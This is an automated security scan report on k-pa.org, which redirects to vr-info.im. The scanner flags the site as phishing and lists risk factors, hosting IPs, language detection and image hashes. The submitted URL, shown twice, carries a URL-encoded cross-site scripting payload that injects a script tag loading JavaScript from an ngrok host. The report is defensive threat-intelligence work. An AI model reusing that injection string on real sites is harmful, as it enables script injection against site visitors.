Security Scan Report: k-pa.org

Redirected to: https://vr-info.im/spr/

Submitted: Nov 26, 2025, 12:23:30 PMCompleted: Nov 26, 2025, 12:26:25 PMpubliccompleted
Loading additional data...

Summary

This website contacted 22 IPs in 3 countries across 5 domains to perform 85 HTTP transactions. The main domain is vr-info.im.

Submitted URL: https://k-pa.org/board/bbs/show.php?id=949&p_cate_id=142&category_id=147&group_code=bbs&pageID=1&m_id=136%22%2F%3E%3Cscript+src%3D%22https%3A%2F%2Fkawaski.ngrok.app%2Findex1.js%22%3E%3C%2Fscript%3E

Effective URL: https://vr-info.im/spr/Redirected

AI Security Verdict

High Risk

Confidence: 85%

8
Risk Score

Site is flagged as phishing and exhibits multiple high‑risk indicators.

Risk Factors
Cloudflare phishing warning indicates strong malicious activity
New or unknown domain age increases suspicion
Lack of reputable Cisco Umbrella ranking
Domain change to an unrelated domain suggests possible redirection abuse
Domain age information unavailable

Details

Bot Protection Detected

This website is protected by Cloudflare bot protection. Our scanner was challenged or blocked during access.

Page Title

Suspected phishing site | Cloudflare

Scan Type

public

Language

🇺🇸

English

(80% confidence)

Category

phishing scam

(87%)

Domain Information

You're looking at domain 'k-pa.org' on the non-profit oriented generic top-level domain (.org). The registrable portion 'k-pa' spans 4 characters containing one vowel alongside 2 consonants, along with one hyphen. Segmentation suggests two words: k, pa. Expect 1.5 characters per word on average. No strong language cues emerged from the frequency lists.

Screenshot

Security scan screenshot of https://k-pa.org/board/bbs/show.php?id=949&p_cate_id=142&category_id=147&group_code=bbs&pageID=1&m_id=136%22%2F%3E%3Cscript+src%3D%22https%3A%2F%2Fkawaski.ngrok.app%2Findex1.js%22%3E%3C%2Fscript%3E

Page Load Overview

3.36s
Total Load Time
85
HTTP Requests
5
Domains
600 KB
Total Size

Language Analysis

Primary Language

🇺🇸English
Code: en
Confidence:80%
Script:Latin
Direction:ltr

Detection Details

Language Code:en
Detection Confidence:80%
Script Type:Latin
HTML Lang Attribute:en-US
Text Length:395 chars
Detector Agreement:100%

Website Classification

Primary Category

phishing scam87% confidence
Type: dynamic
Method: ml+structural

All Detected Categories

phishing scam
87%
technology software
27%

Detected Features

No structural features detected

Domain & IP Information

RequestsIP AddressLocationAS Autonomous System
22115.68.95.183South Korea
AS38700SMILESERV
7104.18.94.41United States
AS13335CLOUDFLARENET
4172.67.219.19United States
AS13335CLOUDFLARENET
3211.183.209.23South Korea
AS152199Kakao Corp
3104.21.78.90United States
AS13335CLOUDFLARENET
3104.18.95.41United States
AS13335CLOUDFLARENET
363.180.152.32Frankfurt am Main, Hesse, Germany
AS16509AMAZON-02
363.179.107.46Frankfurt am Main, Hesse, Germany
AS16509AMAZON-02
32606:4700:3036::ac43:db13United States
AS13335CLOUDFLARENET
363.176.118.220Frankfurt am Main, Hesse, Germany
AS16509AMAZON-02
8522--

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Average Hash:ff8787ffe7e7ffff
Perceptual Hash:b8389cc7c7c7243c
Difference Hash:203c3c1004040000
Wavelet Hash:9c848080c3c3ffff
Color Hash:#783a5f

Other Hashes

Crop Resistant:203c3c1004040000

Scan History

Scan history not available

Unable to load historical scan data